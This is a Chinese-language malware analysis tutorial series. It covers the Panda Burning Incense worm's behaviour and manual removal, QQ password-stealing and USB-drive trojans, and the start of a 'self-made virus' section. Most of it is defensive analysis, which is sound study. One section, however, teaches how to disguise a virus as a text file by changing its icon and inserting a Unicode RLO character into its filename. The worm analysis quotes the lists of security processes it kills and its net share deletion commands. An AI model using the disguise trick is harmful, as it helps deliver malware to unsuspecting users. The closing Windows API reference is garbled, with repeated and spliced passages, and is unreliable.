病毒木马防御与分析实战
《病毒木馬防御與分析》系列以真實的病毒木馬(或惡意程序)為研究對象,通過現(xiàn)有的技術(shù)手段對其分析,總結(jié)出它的惡意行為,進而制定出相應(yīng)的應(yīng)對方法,對其徹底查殺。當(dāng)然,因為我個人水平的有限,查殺分析的病毒可能不是過于高端復(fù)雜,但對你認識病毒工作原理還是會很有幫助的,甚至最后你也可以利用c語言實現(xiàn)一個簡單的病毒程序。
實戰(zhàn)
病毒包和工具包下載: Github
熊貓燒香病毒分析
如果像自己實踐記得在虛擬機下!
病毒包可以在Github倉庫找到
摘要
- 一.手動查殺
- 0.病毒分析
- 1).中毒癥狀
- 2).病毒特征
- 3).發(fā)作癥狀
- 1. 查內(nèi)存,排查可疑進程,將病毒從內(nèi)存中干掉
- 2. 查啟動項,刪除病毒啟 動項
- 3. 通過啟動項判斷病毒所在位置,并從根本上刪除病毒
- 4. 修復(fù)系統(tǒng)
- 0.病毒分析
- 二.行為分析
一.手動查殺
0. 病毒分析
病毒名稱: 武漢男生,又名熊貓燒香病毒。"Worm.WhBoy.h"
1).中毒癥狀
拷貝自身到所有驅(qū)動器根目錄,命名為Setup.exe,并生成一個autorun.inf使得用戶打開該盤運行病毒,并將這兩個文件屬性設(shè)置為隱藏、只讀、系統(tǒng)。
無法手工修改“文件夾選項”將隱藏文件顯示出來。
在每個感染后的文件夾中可見Desktop_ini的隱藏文件,內(nèi)容為感染日期 如:2007-4-1
電腦上的所有腳本文件中加入一段代碼:
中毒后的機器上常見的反病毒軟件及防火墻無法正常開啟及運行。
不能正常使用任務(wù)管理器及注冊表。
無故的向外發(fā)包,連接局域網(wǎng)中其他機器。
感染其他應(yīng)用程序的.exe文件,并改變圖標(biāo)顏色,但不會感染微軟操作系統(tǒng)自身的文件。
刪除GHOST文件(.gho后綴),網(wǎng)吧、學(xué)校和單位機房深受其害。
禁用常見殺毒工具。
2).病毒特征
關(guān)閉眾多殺毒軟件和安全工具。
循環(huán)遍歷磁盤目錄,感染文件,對關(guān)鍵系統(tǒng)文件跳過。
感染所有EXE、SCR、PIF、COM文件,并更改圖標(biāo)為燒香熊貓。
感染所有.htm/.html/.asp/.php/.jsp/.aspx文件,添加木馬惡意代碼。
自動刪除*.gho文件。
3).發(fā)作癥狀
病毒運行后,會把自己拷貝到C:\WINDOWS\System32\Drivers\spoclsv.exe
病毒會添加自啟動項HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe
- 每隔1秒尋找桌面窗口,并關(guān)閉窗口標(biāo)題中含有以下字符的程序
QQKav,QQAV,防火墻,進程,VirusScan,網(wǎng)鏢,殺毒,毒霸,瑞星,江民,黃山IE,超級兔子,優(yōu)化大師,木馬克星,木馬清道夫,QQ病毒,注冊表編輯器,系統(tǒng)配置實用程序,卡巴斯基反病毒,Symantec AntiVirus,Duba,esteem proces,綠鷹PC,密碼防盜,噬菌體,木馬輔助查找器,System Safety Monitor,Wrapped gift Killer,Winsock Expert,游戲木馬檢測大師,msctls_statusbar32,pjf(ustc),IceSword
并使用的鍵盤映射的方法關(guān)閉安全軟件IceSword
并中止系統(tǒng)中以下的進程:
Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exe scan32.exe Ravmond.exe CCenter.exe RavTask.exe Rav.exe Ravmon.exe RavmonD.exe RavStub.exe KVXP.kxp kvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exe TrojDie.kxp FrogAgent.exe Logo1_.exe Logo_1.exe Rundl132.exe- 每隔18秒
點擊病毒作者指定的網(wǎng)頁,并用命令行檢查系統(tǒng)中是否存在共享,存在的話就運行net share命令關(guān)閉admin$共享。
- 每隔10秒
下載病毒作者指定的文件,并用命令行檢查系統(tǒng)中是否存在共享共存在的話就運行net share命令關(guān)閉admin$共享。
- 每隔6秒
刪除安全軟件在注冊表中的鍵值。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RavTask KvMonXP kav KAVPersonal50 McAfeeUpdaterUI Network Associates Error Reporting Service ShStartEXE YLive.exe yassistse并修改以下值不顯示隱藏文件
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue修改為 0x00刪除以下服務(wù)
navapsvc wscsvc KPfwSvc SNDSrvc ccProxy ccEvtMgr ccSetMgr SPBBCSvc Symantec Core LC NPFMntor MskService FireSvc- 感染文件
病毒會感染擴展名為exe,pif,com,src的文件,把自己附加到文件的頭部并在擴展名為htm,html, asp,php,jsp,aspx的文件中添加一網(wǎng)址,用戶一旦打開了該文件,IE就會不斷的在后臺點擊寫入的網(wǎng)址,達到增加點擊量的目的,但病毒不會感染以下文件夾名中的文件,防止系統(tǒng)崩潰。
WINDOW Winnt System Volume Information Recycled Windows NT WindowsUpdate Windows Media Player Outlook Express Internet Explorer NetMeeting Common Files ComPlus Applications Messenger InstallShield Installation Information MSN Microsoft Frontpage Movie Maker MSN Gamin Zone1. 查內(nèi)存,排查可疑進程,將病毒從內(nèi)存中干掉
在虛擬機中運行熊貓燒香病毒,記得要在xp虛擬機啊,物理機現(xiàn)在Windows補丁已經(jīng)免疫熊貓燒香了。
在虛擬機中我們打開任務(wù)管理器,發(fā)現(xiàn)剛一打開就會被關(guān)閉,這是熊貓燒香的特征之一。
右鍵一個分區(qū),你會發(fā)現(xiàn)第一項不是打開,而是Auto,這是因為熊貓燒香病毒會在分區(qū)產(chǎn)生一個autorun.inf文件使得用戶打開該盤運行病毒,autorun.inf文件是系統(tǒng),隱藏文件。
甚至一些病毒會把Auto起名為打開,右鍵分區(qū)你會發(fā)現(xiàn)兩個打卡選項。
我們第一步就要先關(guān)閉病毒進程,排查內(nèi)存時我們需要使用tasklist命令查看可疑進程,spoclsv.exe就是熊貓燒香的進程名了(這個可能需要大量的積累,最好是對Windows系統(tǒng)進程有大量了解)。
找到后通過taskkill /f /im PID命令將其終止
有些病毒無論任務(wù)管理器還是taskkill命令都無法將其終止,這類病毒大多是有三個進程相互保護,有一個被終止后其他進程會立即再次啟動這個進程。
2. 查啟動項,刪除病毒啟動項
將病毒從內(nèi)存中清除之后,接下來我們要刪除其服務(wù)和啟動項。
在禁用刪除掉啟動項之前,我們需要先記住這個病毒的路徑,以便第三步去刪除它的主體。
3. 通過啟動項判斷病毒所在位置,并從根本上刪除病毒
下圖就是熊貓燒香病毒本體的位置了,其實但看啟動項中exe路徑就能發(fā)現(xiàn)spoclsv服務(wù)的可疑了,它位于system32\drivers下,也不是一些常見的系統(tǒng)服務(wù)。
到這個路徑下刪除這個exe程序。
4. 修復(fù)系統(tǒng)
刪除完exe之后我們重啟系統(tǒng),會發(fā)現(xiàn)現(xiàn)在系統(tǒng)中沒有spoclsv.exe這個進程了。
這時病毒還有可能會復(fù)發(fā),因為系統(tǒng)還未完成修復(fù),之前說的分區(qū)雙擊默認選項可能會導(dǎo)致病毒程序再次運行。
我們需要將Auto選項刪除,并且清理系統(tǒng)。
autorun.inf就是關(guān)聯(lián)我們右鍵菜單的文件了。
我們通過attrib -s -h -a -r autorun.inf來分別將autorun.inf和setup.exe隱藏屬性刪除并且刪除這兩個文件。
刪除之后我們雙擊分區(qū)打開會發(fā)現(xiàn)無法生效。
注銷系統(tǒng)后,右鍵菜單恢復(fù)。
二.行為分析
使用Process Monitor進程樹分析病毒運行后的操作。
在病毒程序啟動之前,任務(wù)管理器還可以打開。
設(shè)置Process Monitor進程過濾,進程名選擇熊貓燒香.exe。
過濾結(jié)果中可以看到運行的setup.exe程序,后面跟隨有進程操作,其中操作多為進程創(chuàng)建和大量的注冊表操作。
打開進程樹查看setup.exe進程信息。
在進程樹中可以發(fā)現(xiàn),setup.exe衍生出了spoclsv.exe。衍生出的進程又打開了兩次cmd.exe。第一次運行的命令是cmd.exe /c net share C$ /del /y,它的意思是在命令行模式下刪除C盤的網(wǎng)絡(luò)共享,執(zhí)行完后關(guān)閉cmd.exe。因此這個病毒應(yīng)該是會關(guān)閉系統(tǒng)中所有的盤的網(wǎng)絡(luò)共享。第二次運行的命令是cmd.exe /c net share admin$ /del /y,這里取消的是系統(tǒng)根目錄的共享。那么由此就可以總結(jié)出病毒的兩點行為:
行為1:病毒本身創(chuàng)建了名為spoclsv.exe的進程,該進程文件的路徑為C:\WINDOWS\system32\drivers\spoclsv.exe。
行為2:在命令行模式下使用net share命令來取消系統(tǒng)中的共享。
之后對setup.exe文件操作監(jiān)控分析,分析操作為CreateFile的Path,
可見,熊貓燒香.exe在C:\WINDOWS\system32\drivers中創(chuàng)建了spoclsv.exe,其它再無可疑操作,那么可以認為,這個病毒真正的破壞部分是由spoclsv.exe實現(xiàn)的,那么接下來的工作就是專門監(jiān)控這個進程。
這里需要將進程名為spoclsv.exe的進程加入篩選器進行分析。spoclsv.exe作為病毒主體所產(chǎn)生的操作會比較多。
可見病毒進程會嘗試刪除大量安全類軟件的注冊表啟動項。
- 行為3:刪除安全類軟件在注冊表中的啟動項。
然后只保留RegCreateKey與RegSetValue進行分析:
可見,病毒程序為自身創(chuàng)建了自啟動項,詳細信息為Type: REG_SZ, 長度: 80, 數(shù)據(jù): C:\WINDOWS\system32\drivers\spoclsv.exe,使得每次啟動計算機就會執(zhí)行自身,可以查看該路徑啟動項來驗證,因為病毒進程會自動關(guān)閉任務(wù)管理器和注冊表,所以我們需要借助第三方工具autorun來查看。
- 行為4:在注冊表HKCU\Software\Microsoft\Windows\CurrentVersion\Run中創(chuàng)建svcshare,用于在開機時啟動位于C:\WINDOWS\system32\drivers\spoclsv.exe的病毒程序。
接下來還有:
對注冊表KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue這個位置設(shè)置為0,能夠?qū)崿F(xiàn)文件的隱藏。此處進行設(shè)置后,即便在文件夾選項中選擇顯示所有文件和文件夾,也無法顯示隱藏文件,則有:
- 行為5:修改注冊表,使得隱藏文件無法通過普通的設(shè)置進行顯示,該位置為:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,病毒將CheckedValue的鍵值設(shè)置為了0。
接下來對spoclsv.exe文件監(jiān)控分析,主要看的是病毒是否將自己復(fù)制到其他目錄,或者創(chuàng)建刪除了哪些文件等,監(jiān)控如下所示:
在圖中可以看到,病毒文件在C:\WINDOWS\system32\drivers中創(chuàng)建了spoclsv.exe這個文件,在C盤和E盤根目錄下創(chuàng)建了setup.exe與autorun.inf,并且在一些目錄中創(chuàng)建了Desktop_.ini這個文件。由于創(chuàng)建這些文件之后就對注冊表的SHOWALL項進行了設(shè)置,使得隱藏文件無法顯示,那么有理由相信,所創(chuàng)建出來的這些文件的屬性都是“隱藏”的,于是有:
行為6:將自身拷貝到根目錄,并命名為setup.exe,同時創(chuàng)建autorun.inf用于病毒的啟動,這兩個文件的屬性都是隱藏。
行為7:在一些目錄中創(chuàng)建名為Desktop_.ini的隱藏文件。
最后對spoclsv.exe進行網(wǎng)絡(luò)監(jiān)控分析,來查看病毒是否有聯(lián)網(wǎng)動作。
從監(jiān)控結(jié)果可以看到,病毒不斷嘗試連接192.168.1.X即局域網(wǎng)中的其它計算機。
- 行為8:向外發(fā)包,連接局域網(wǎng)中其他機器。
TXT病毒分析
如果像自己實踐記得在虛擬機下!
病毒包可以在Github倉庫找到
摘要
- 前言
- txt病毒引入
- RLO與字符陷阱
前言
現(xiàn)在很多病毒使用了各式各樣的隱藏技術(shù)。病毒編寫者往往會用復(fù)雜高深的技術(shù)來武裝自己的惡意程序,使其難以被發(fā)現(xiàn)難以被清除。隱藏類的病毒雖然很難發(fā)現(xiàn),但危害清除往往比較簡單,如前段時間出現(xiàn)的比特幣敲竹杠病毒,就是一個基于Ring3層的病毒,其特色就在于采用了一定的算法來加密目標(biāo)計算機中的相應(yīng)文件,而如果沒有密碼,那么是不可能實現(xiàn)解密操作的。
txt病毒引入
舉一個簡單病毒的例子,U盤病毒中文件夾后面會出現(xiàn)exe后綴,很明顯就可以發(fā)現(xiàn)出了問題
這也就說明,盡管它的圖標(biāo)是文件夾的圖標(biāo),但是它本質(zhì)上其實就是一個可執(zhí)行程序,利用圖標(biāo)的更換來將自己偽裝成一個文件夾,這種手段還是比較古老的,也是很容易被發(fā)現(xiàn)的。但是如果是這樣呢?
先準備好需要偽裝的病毒和要偽裝成的文件圖標(biāo)(找不到別的圖標(biāo)就只能隨便找一個用了),還有Resource Hacker工具。
用Resource Hacker打開病毒setup.exe,可以查看到病毒圖標(biāo)。
RLO與字符陷阱
接下來修改圖標(biāo)為我們自己的ico文件。
保存之后病毒的圖標(biāo)就改變了。
下一步需要改變他的后綴名,修改為txt或者png。
這一步的原理是Windows提供了一個轉(zhuǎn)移字符RLO,只要在一行字符前面加上它,就可以實現(xiàn)文本的反向排列。它是Unicode為了兼容某些文字的閱讀習(xí)慣而設(shè)計的一個轉(zhuǎn)義字符。當(dāng)我們加入這個字符后,從而也就實現(xiàn)修改后綴的效果。
那么利用這個原理,我們就能夠?qū)崿F(xiàn)非常多有創(chuàng)意的,并且頗具迷惑性的文件名稱,再將文件的圖標(biāo)修改為對應(yīng)的假的后綴名的圖標(biāo),那么我相信,即便是資深反病毒愛好者,也很可能會落入陷阱的。
如何來實現(xiàn)呢?先將病毒程序名改為下圖所示,之后在read和txt之間添加轉(zhuǎn)義字符RLO。
插入轉(zhuǎn)義字符之后可以發(fā)現(xiàn)這就是一個txt程序了,只不過沒有選好圖標(biāo),只要偽裝成一個txt的圖標(biāo)和后綴,很多人都不會防范這個病毒了。
RLO不止可以用來修改程序后綴名,它還可以用在注冊表中,你會發(fā)現(xiàn)注冊表中有多個相同項,然而注冊表其實是不允許出現(xiàn)相同項的。
通過字符混淆的方法來影響人的直接視覺感觀,可以讓人在使用計算機過程中出現(xiàn)很大的問題。
對于之前的exe和txt的混淆方法,其實最好的方法就是在文件夾中顯示文件類型。
QQ盜號木馬查殺
如果像自己實踐記得在虛擬機下!
病毒包可以在Github倉庫找到
摘要
- 前言
- 一.手殺分析
前言
在總綱中我們基本介紹了手殺病毒的基本步驟,其中在進程中殺死病毒時我說過有些病毒只有一個進程,可以直接結(jié)束其進程,但有些病毒是多進程相互守護,關(guān)閉一個之后其他守護進程會將其重新啟動。這就是病毒的一種自我保護技術(shù),使得我們不能夠使用常規(guī)手法對其實現(xiàn)查殺。我們需要借助兩個工具——icesword與autoruns,以達到查殺的目的.
一.手殺分析
這是準備好的病毒樣本,autoruns是一個注冊表查看工具,icesword是一個非常強大的進程管理工具,不過icesword的平臺兼容性很差,win10下我沒有查到可用的,只有在xp虛擬機中使用過。
在運行病毒之前,先查看任務(wù)管理器中當(dāng)前的進程。
在運行QQ盜號木馬程序之后,可以發(fā)現(xiàn)進程數(shù)從25變?yōu)榱?8。
多出來的3個進程為severe.exe、conime.exe與tfidma.exe。
conime.exe進程是一個重要的系統(tǒng)進程,它不會隨系統(tǒng)的啟動而自動啟動,只會在啟動命令行(cmd)才會啟動,但如果刪除或者終止將導(dǎo)致特殊文字的輸入困難,另外微軟新版系統(tǒng)中此進程不會運行,而這里病毒則是偽造了這個進程。
嘗試利用任務(wù)管理器將這三個進程其中之一結(jié)束時,會發(fā)現(xiàn)被終止的進程重新被啟動了。
現(xiàn)在我們需要使用icesword.exe工具來講三個互相守護的病毒進程終止。在雙擊啟動icesword.exe時會發(fā)現(xiàn)這個工具并無法啟動,可以理解為是病毒將這個工具屏蔽了,我們只需要給他改一個名字,icesword.exe的中文名冰刃.exe,之后雙擊啟動。
在里面可用看到這三個進程。
點擊文件,選擇創(chuàng)建進程規(guī)則,添加規(guī)則,之后將三個進程添加進去。
再次終止進程之后發(fā)現(xiàn)病毒進程無法再次恢復(fù)。
接下來我們需要刪除病毒的啟動項,這里我們打開autoruns這個工具。
打開autoruns之后,初始界面Everything選項卡下面,很容易就發(fā)現(xiàn)了兩個可疑啟動項,因為它們作為可執(zhí)行程序,使用了記事本圖標(biāo),而且名稱和路徑與之前病毒進程相似。那么就有必要在這里刪除這三個啟動項了。選中欲刪除的啟動項,然后按下Delete鍵即可。接下來看一下非常重要的Image Hijacks標(biāo)簽。
可見映像劫持中大量軟件進程都被映射為了病毒進程,比如我們熟悉的360safe,注冊表,服務(wù)配置,QQ醫(yī)生還有icesword.exe。在這里將這些注冊表數(shù)據(jù)刪除。
還有一些其他安全項,可用自行查看,病毒主體程序我們可用從注冊表啟動項中看到,去相應(yīng)位置刪除即可。
U盤病毒分析
目錄
- 一.前言
- 二.手殺病毒
一.前言
前段時間去學(xué)校打印店印資料,如同往常一樣,插上我的U盤。奇怪的是這次的連接時間較以往長,并且還出現(xiàn)了自動播放窗口。 以前使用U盤,都沒有出現(xiàn)過自動播放的情況。不過沒有我在意,關(guān)閉了那個窗口,從我的電腦打開了U盤分區(qū)。但是在U盤中卻發(fā)現(xiàn)了奇怪的文件:
這幾個文件很奇怪,因為它們都是使用了文件夾的圖標(biāo),貌似是一個文件夾,但是在文件名稱的后面卻跟著一個.exe的小尾巴。而且,我的U盤中本來確實有這四個文件夾,但是我不記得給他們加上了.exe這樣的后綴名。而不帶后綴名的真實的文件夾卻找不到了(圖片中顯示是因為已經(jīng)被我處理了)。這就讓我很是懷疑,于是分別查看這幾個文件的屬性。
可見這些文件并不是文件夾,而是應(yīng)用程序,并且它們的大小一致。看到這里,就可以基本確定了,我的U盤是中了病毒了。
二.手殺病毒
初步分析,這個病毒會將自身偽裝成我的U盤中本來存在的文件夾,從而誘惑我去點擊。那么原始的文件夾是被刪除了還是被隱藏了呢?
選擇顯示隱藏文件之后,那些文件依然沒有顯示出來,這里可用一個cmd下的命令來顯示,因為文件的隱藏其實是基于文件的四個屬性值。
隱藏文件(添加四個屬性):
attrib +s +h +a +r 文件名
顯示文件(刪除四個屬性):
attrib -s -h -a -r 文件名
通過attrib命令操作隱藏的文件無法通過常規(guī)的顯示文件來顯示,這也是病毒隱藏文件的一個常用途徑。
顯示出我們原本的文件之后就可將exe程序刪除了。
U盤病毒其實危害性并沒有多強,但其傳播速度與對普通人的影響卻是很大。
要編寫代碼進行快速刪除也簡單,只需要循環(huán)遍歷U盤目錄,將其中子文件進行顯示即可。代碼如下:
for /f "delims=?" %%a in ('dir /a /b') do attrib -a -s -h -r "%%a"只需要將這一行批處理代碼保存為cmd后綴名文件,放置U盤跟目錄,雙擊運行即可。
病毒自制實戰(zhàn)
自制病毒——控制桌面背景鼠標(biāo)以及開關(guān)機
理論知識
修改桌面背景方法
在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo
該函數(shù)也可以在設(shè)置參數(shù)中更新用戶配置文件,這個函數(shù)還有很多其它功能,比如獲取桌面工作區(qū)的大小。
BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);
uiAction:該參數(shù)指定要查詢或設(shè)置的系統(tǒng)級參數(shù)。其取值如下;
SPI_GETACCESSTIMEOUT:檢索與可訪問特性相關(guān)聯(lián)的超時段的信息,PvParam參數(shù)必須指向某個ACCESSTIMEOUT結(jié)構(gòu)以獲得信息,并將該結(jié)構(gòu)中的cbSjze成員和ulParam參數(shù)的值設(shè)為sizeof(ACCESSTIMEOUT)。SPI_GETACTIVEWINDOWTRACKING:用于Windows 98和Windows NT 5.0及以后的版本。它表示是否打開活動窗口跟蹤(激活該窗口時鼠標(biāo)置為開狀態(tài)),pvParam參數(shù)必須指向一個BOOL型變量(打開時接收值為TRUE,關(guān)閉時為FALSE)。SPI_GETACTIVEWNDTRKZORDER;用于Windows 98和Windows NT 5.0及以后版本。它表示通過活動窗口跟蹤開關(guān)激活的窗口是否要置于最頂層。pvParam參數(shù)必須指向一個BOOL型變量,如果要置于頂層,那么該變量的值為TRUE,否則為FALSE。SPI_GETACTIVEWNDTRKTIMEOUT:用于Windows 98和 Windows NT 5.0及以后版本。它指示活動窗口跟蹤延遲量,單位為毫秒。pvParam參數(shù)必須指向DWORD類型變量,以接收時間量。SPI_GETANIMATION:檢索與用戶活動有關(guān)的動畫效果。pvParam參數(shù)必須指向ANIMATIOINFO結(jié)構(gòu)以接收信息。并將該結(jié)構(gòu)的cbSize成員和ulParam參數(shù)置為sizeof(ANIMATIONINFO)。SPI_GETBEEP:表示警告蜂鳴器是否是打開的。pvParam參數(shù)必須指向一個BOOL類型變量,如果蜂鳴器處于打開狀態(tài),那么該變量的值為TRUE,否則為FALSE。SpI_GETBORDER:檢索決定窗口邊界放大寬度的邊界放大因子。pvParam參數(shù)必須指向一個整型變量以接收該值。SPI_GETDEFAULTINPUTLANG:返回用于系統(tǒng)缺省輸入語言的鍵盤布局句柄。pvParam參數(shù)必須指向一個32位變量,以接收該值。SPI_GETCOMBOBOXANIMATION:用于Windows 98和Windows NT 5.0及以后版本。它表示用于組合柜的動打開效果是否允許。pvParam參數(shù)必須指向一個BOOL變量,如果允許,那么變量返回值為TRUE,否則為FALSE。SPI_GETDRAGFULLWINDOWS:確定是否允許拖拉到最大窗口。pvParam參數(shù)必須指向BOOL變量,如果允許,返回值為TRUE,否則為FALSE。對于Windows 95系統(tǒng),該標(biāo)志只有在安裝了Windows plus!才支持。SPI_GETFASTTASKSWITCH:該標(biāo)志已不用!以前版本的系統(tǒng)使用該標(biāo)志來確定是否允許Alt+Tab快速任務(wù)切換。對于Windows 95、Windows 98和Windows NT 4.0版而言,快速任務(wù)切換通常是允許的。SPI_GETLDWPOWERACTIVE:確定是否允許屏幕保護的低電壓狀態(tài)。如果允許,那么指向BOOL變量的pvParam參數(shù)會接收到TRUE值,否則為FALSE。對于Windows 98,該標(biāo)志對16位和32位應(yīng)用程序都支持。 對于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對于Windows NT,在Windows NT 5.0及以后版本中支持32位應(yīng)用程序,對16位應(yīng)用程序則不支持。SPI_GETLOWPOWERTIMEOUT:檢索用于屏幕保護的低電壓狀態(tài)超時值。pvParam參數(shù)必須指向一個整型變量,以接收該值。對于Windows 98該標(biāo)志支持16位和32位應(yīng)用程序。對于Windows95,該標(biāo)志只支持16位應(yīng)用程序。對于Windows NT,該標(biāo)志支持Windows NT 5.0及以后版本上的32位應(yīng)用程序。不支持16位應(yīng)用程序。SPI_GETMENUDROPALIGNMENT。確定彈出式菜單相對于相應(yīng)的菜單條項是左對齊,還是右對齊、參數(shù)pvParam必須指向一個BOOL類型變量,如果是左對齊。那么該變量值為TRUE,否則為FALSE。SPI_GETMINIMIZEDMETRICS:檢索最小化窗口有關(guān)的度量數(shù)據(jù)信息。參數(shù)pvParam必須指向MINIMIZEDMETRCS結(jié)構(gòu),以接收信息。該結(jié)構(gòu)中的cbSize和ulParam參數(shù)的值應(yīng)設(shè)為sizeof(MINIMIZEDMETRICS)。SPI_GETMOUSE:檢索鼠標(biāo)的2個閾值和加速特性。pvParam參數(shù)必須指向一個長度為3的整型數(shù)組,分別存儲此值。SPI_GETMOUSEHOVERHEGHT:用于Windows NT 4.0及以后版本或Windows 98。獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留的矩形框的高度,以像素為單位。參數(shù)pvParam必須指向一個UINT變量以接收這個高度值。SPI_GETMOUSEHOVERTIME:用于Windows NT 4.0及以后版本、Windows 98,獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留在矩形框內(nèi)的時間,單位為毫秒。參數(shù)pvParam必須指向一個UINT變量以接收該時間值。SPI_GETMOUSEHOVERWIDTH:用于Windows NT 4.0及以后版本、Windows 98。獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留的矩形框的寬度,以像素為單位。參數(shù)pvParam必須指向一個UINT變量以接收這個寬度值。SPI_GETMOUSEKEYS:檢索與MOUSEKEYS易用特征有關(guān)的信息,pvParam參數(shù)必須指向某個MOUSEKEYS結(jié)構(gòu),以獲取信息。應(yīng)將結(jié)構(gòu)的cbSize成員和ulParam參數(shù)設(shè)置為sizeof(MOUSEKEYS)。SPI_GETMOUSESPEED:用于Windows NT 5.0及以后版本、Windows 98。檢索當(dāng)前鼠標(biāo)速度。鼠標(biāo)速度決定了鼠標(biāo)移動多少距離,鼠標(biāo)的指針將移動多遠。參數(shù)pvParam指向一個整型變量,該變量接收1(最慢)至20(最快)之間的數(shù)值。缺省值為們10。這個值可以由最終用戶使用鼠標(biāo)控制面板應(yīng)用程序或使用調(diào)用了SPI_SETMOUSESPEED的應(yīng)用程序來設(shè)置。SPI_GETMOUSETRAILS:用于WpvParam必須指向一個BOOL類型變量,如果是左對齊。那么該變量值為TRUE,否則為FALSE。SPI_GETMINIMIZEDMETRICS:檢索最小化窗口有關(guān)的度量數(shù)據(jù)信息。參數(shù)pvParam必須指向MINIMIZEDMETRCS結(jié)構(gòu),以接收信息。該結(jié)構(gòu)中的cbSize和ulParam參數(shù)的值應(yīng)設(shè)為sizeof(MINIMIZEDMETRICS)。SPI_GETMOUSE:檢索鼠標(biāo)的2個閾值和加速特性。pvParam參數(shù)必須指向一個長度為3的整型數(shù)組,分別存儲此值。SPI_GETMOUSEHOVERHEGHT:用于Windows NT 4.0及以后版本或Windows 98。獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留的矩形框的高度,以像素為單位。參數(shù)pvParam必須指向一個UINT變量以接收這個高度值。SPI_GETMOUSEHOVERTIME:用于Windows NT 4.0及以后版本、Windows 98,獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留在矩形框內(nèi)的時間,單位為毫秒。參數(shù)pvParam必須指向一個UINT變量以接收該時間值。SPI_GETMOUSEHOVERWIDTH:用于Windows NT 4.0及以后版本、Windows 98。獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留的矩形框的寬度,以像素為單位。參數(shù)pvParam必須指向一個UINT變量以接收這個寬度值。SPI_GETMOUSEKEYS:檢索與MOUSEKEYS易用特征有關(guān)的信息,pvParam參數(shù)必須指向某個MOUSEKEYS結(jié)構(gòu),以獲取信息。應(yīng)將結(jié)構(gòu)的cbSize成員和ulParam參數(shù)設(shè)置為sizeof(MOUSEKEYS)。SPI_GETMOUSESPEED:用于Windows NT 5.0及以后版本、Windows 98。檢索當(dāng)前鼠標(biāo)速度。鼠標(biāo)速度決定了鼠標(biāo)移動多少距離,鼠標(biāo)的指針將移動多遠。參數(shù)pvParam指向一個整型變量,該變量接收1(最慢)至20(最快)之間的數(shù)值。缺省值為們10。這個值可以由最終用戶使用鼠標(biāo)控制面板應(yīng)用程序或使用調(diào)用了SPI_SETMOUSESPEED的應(yīng)用程序來設(shè)置。SPI_GETMOUSETRAILS:用于Windows 95及更高版本。它用來表示是否允許MouseTrails(鼠標(biāo)軌跡)。該特征通過簡單地顯示鼠標(biāo)軌跡并迅速擦除它們來改善鼠標(biāo)的可見性。參數(shù)prParam必須指向一個整型變量來接收該值。如果這個值為0或1,那么表示禁止該特征。如果該值大于1,則說明該特征被允許,并且該值表示在鼠標(biāo)軌跡上畫出的光標(biāo)數(shù)目。參數(shù)ulParam不用。SPI_GETNONCLIENTMETRICS:檢索與非最小化窗口的非客戶區(qū)有關(guān)的度量信息。參數(shù)pvParam必須指向NONCLIENTMETRICS結(jié)構(gòu),以便接收相應(yīng)值。該結(jié)構(gòu)的。cbSize成員與ulParam參數(shù)值應(yīng)設(shè)為sizeof(NONCLIENTMETRICS)。對于Windows 98,該標(biāo)志支持16位和32位應(yīng)用程序。對于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對于Windows NT該標(biāo)志在NT 5.0及以后版本中支持32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_GETPOWEROFFACTIVE:確定是否允許屏幕保護中關(guān)電。TRUE表示允許,FA參數(shù)pvParam必須指定SERIALKEYS結(jié)構(gòu)來接收信息。該結(jié)構(gòu)中的cbSize成員和ulParam參數(shù)的值要設(shè)為sizeof(SERIALKEYS)。SPI_GETSHOWSOUNDS:確定ShowSounds易用特性標(biāo)志是開或是關(guān)。如果是開,那么用戶需要一個應(yīng)用程序來可視化地表達信息,占則只能以聽得見的方式來表達。參數(shù)pvParam必須指向一個BOOL類型變量。該變量在該特征處于開狀態(tài)時返回TRUE,否則為FALSE。使用這個值等同于調(diào)用GetSystemMetrics(SM_SHOWSOUNDS)。后者是推薦使用的調(diào)用方式。SPI_GETSNAPTODEFBUTTON:用于Windows NT 4.0及以后版本、Windows 98:確定 Snap-TO-Default-Button(轉(zhuǎn)至缺省按鈕)特征是否允許。如果允許,那么鼠標(biāo)自動移至缺省按鈕上,例如對話框的"Ok"或"Apply"按鈕。pvParam參數(shù)必須指向Bool類型變量,如果該特征被允許,則該變量接收到TRUE,否則為FALSE。SPI_GETSOUNDSENTRY:檢索與SOUNDSENTRY可訪問特征有關(guān)的信息。參數(shù)pvParam必須指向SOUNDSENTRY結(jié)構(gòu)以接收信息。該結(jié)構(gòu)中的。cbSize或員和ulParam參數(shù)的值要設(shè)為sizeof(SOUNDSENTRY)。SPI_GETSTICKYKEYS:檢索與StickyKeys易用特征有關(guān)的信息。參數(shù) pvParam必須指向STICKYKEYS結(jié)構(gòu)以獲取信息。該結(jié)構(gòu)中的cbSze成員及ulParam參數(shù)的值須設(shè)為sizeof(STICKYKEYS)。SPI_GETSWITCHTASKDISABLE:用于Windows NT 5.0、Windows 